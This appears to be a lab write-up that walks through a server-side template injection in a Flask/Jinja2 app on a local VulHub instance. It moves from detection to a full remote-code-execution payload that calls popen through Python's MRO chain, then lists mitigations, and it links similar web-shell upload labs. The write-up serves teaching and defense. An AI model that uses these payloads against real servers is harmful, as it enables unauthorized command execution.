On this page
Server-Side Template Injection in Flask
Vulnerability
Server-Side Template Injection (SSTI) is a vulnerability where user input ends up inside a server-side template without sanitization. The template engine executes the input as code, potentially leading to Remote Code Execution (RCE).
Flask uses Jinja2 as its template engine. If a developer passes user data directly into a template (instead of through the template context), an attacker can execute arbitrary Python code on the server.
Lab
Source: VulHub — Flask SSTI
Goal: Achieve RCE through Jinja2 template injection.
Start the environment:
docker compose up -d
Reconnaissance
Landing page — Hello guest:

The application accepts a name query parameter and displays it in a greeting. Without the parameter it shows guest. Let's check if the input ends up in the template.
Detecting SSTI
Standard test — {{7*7}}:
http://localhost:8000/?name={{7*7}}

The server returned 49 — the expression was evaluated. SSTI confirmed.
Identifying the Template Engine
Different template engines handle {{7*'7'}} differently:
- Jinja2:
7777777(string repetition) - Twig:
49(numeric coercion)
http://localhost:8000/?name={{7*'7'}}

Result is 7777777 — confirmed Jinja2.
MRO Chain
Jinja2 doesn't give direct access to os or import. But every Python object carries metadata about its class. Through the MRO (Method Resolution Order) chain we can traverse from any object to the os module.
Step 1: String Class
http://localhost:8000/?name={{"".__class__}}

The browser swallows <class 'str'> as an HTML tag — check via DevTools or View Source. We got <class 'str'> — the class of an empty string.
Step 2: Base Class object
http://localhost:8000/?name={{"".__class__.__mro__[1]}}

Step 3: All Subclasses of object
http://localhost:8000/?name={{"".__class__.__mro__[1].__subclasses__()}}
Via View Source we see a huge list — hundreds of classes:

Step 4: Finding os._wrap_close
We need a class from the os module — through its __globals__ we'll get access to popen. Search for os._wrap_close via Ctrl+F in View Source:

Found it. Now we need its index in the list. Select text from the start of the list to os._wrap_close, copy it, and count commas in Console:
"SELECTED_TEXT".split(',').length

The console shows 118 — that's the element count. But Python indexing starts at 0, so the index is 117.
Step 5: Module os Globals
Verify that __init__.__globals__ gives us functions from the os module:
http://localhost:8000/?name={{"".__class__.__mro__[1].__subclasses__()[117].__init__.__globals__.keys()}}

We can see popen, system, listdir — the entire os module is accessible.
Exploitation
Assembling the final payload. Chain logic:
''.__class__— string class (str).__mro__[1]— base class (object).__subclasses__()[117]— classos._wrap_close.__init__.__globals__—osmodule globals['popen']('id')— run command.read()— read output
http://localhost:8000/?name={{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['popen']('id').read()}}

uid=33(www-data) — the id command was executed on the server. RCE achieved.
Takeaway
The root cause is user input being passed directly into render_template_string() without sanitization. Jinja2 itself is not vulnerable — the problem is how the developer uses it.
Mitigations:
- Don't interpolate input into templates — pass data through context:
render_template_string("Hello {{name}}", name=user_input) - Use a sandbox —
jinja2.sandbox.SandboxedEnvironmentrestricts accessible attributes - Validate input — reject
{{,{%,__at the input level
More in this category
Web Shell Upload via Extension Blacklist Bypass (PortSwigger Lab)
.php is blacklisted, but .htaccess uploads without complaint — we slip our own Apache config in and make the server execute shell.bug as PHP.
Web Shell Upload via Obfuscated File Extension (PortSwigger Lab)
Extension blacklist rejects .php and a double-extension shell.php.jpg is served as an image — a null byte in shell.php%00.jpg bypasses both checks.
Remote Code Execution via Web Shell Upload (PortSwigger Lab)
Avatar upload has no validation — drop a PHP web shell and read /home/carlos/secret.